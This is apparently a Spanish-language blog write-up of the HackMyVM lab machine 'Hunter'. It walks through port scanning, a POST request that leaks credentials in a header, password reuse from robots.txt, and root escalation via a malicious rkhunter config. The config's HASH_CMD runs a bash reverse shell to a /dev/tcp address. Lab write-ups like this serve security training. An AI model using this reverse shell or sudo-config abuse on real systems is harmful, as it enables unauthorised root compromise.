cd ~/blog

~/writeups/hmv/143-hunter.md

143 - Hunter

easy Linux hmv 29-11-2025
HTTP method change reveals secret headerCredential reuse (robots.txt)sudo rkhunter custom config Privesc
hackmyvm.eu/machines/machine.php?vm=Hunter

~1 min de lectura


Enumeramos puertos (servidor web en Go):

 nmap -sCV -p 22,8080 -oN 02-targeted.txt 10.33.31.195
...
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
8080/tcp open  http    Golang net/http server
| http-robots.txt: 1 disallowed entry
|_/admin
...

Enumerando encontramos /admin, que responde "Invalid JWT". Interceptando con Burp y cambiando el método GET por POST, el servidor filtra credenciales en una cabecera:

POST /admin HTTP/1.1
Host: 10.33.31.195:8080
...

HTTP/1.1 200 OK
X-Secret-Creds: hunterman:thisisnitriilcisi
...

Entramos por SSH con hunterman:thisisnitriilcisi (Alpine) y obtenemos la primera flag. En /var/www/html/robots.txt hay credenciales de otro usuario:

hunter:/var/www/html$ cat robots.txt
h u n t e r g i r l:fickshitmichini

hunter:/home$ su huntergirl
Password: fickshitmichini
/home $

Revisamos sudo -l:

~ $ sudo -l
...
User huntergirl may run the following commands on hunter:
    (root) NOPASSWD: /usr/local/bin/rkhunter

rkhunter permite cargar un archivo de configuración personalizado, donde HASH_CMD apunta a un binario que se ejecuta como root. Lo apuntamos a nuestra reverse shell:

/tmp $ cat pwned.sh
/bin/bash -c 'bash -i >& /dev/tcp/10.33.31.35/4444 0>&1'
/tmp $ chmod +x pwned.sh

/tmp $ cat > /tmp/pwned.conf << EOF
INSTALLDIR=/usr/local
TMPDIR=/var/lib/rkhunter/tmp
DBDIR=/var/lib/rkhunter/db
SCRIPTDIR=/usr/local/lib/rkhunter/scripts
LOGFILE=/var/log/rkhunter.log
HASH_CMD=/tmp/pwned.sh
EOF

/tmp $ sudo /usr/local/bin/rkhunter --configfile /tmp/pwned.conf --propupd
[ Rootkit Hunter version 1.4.6 ]

Recibimos la shell de root:

hunter:/tmp# whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados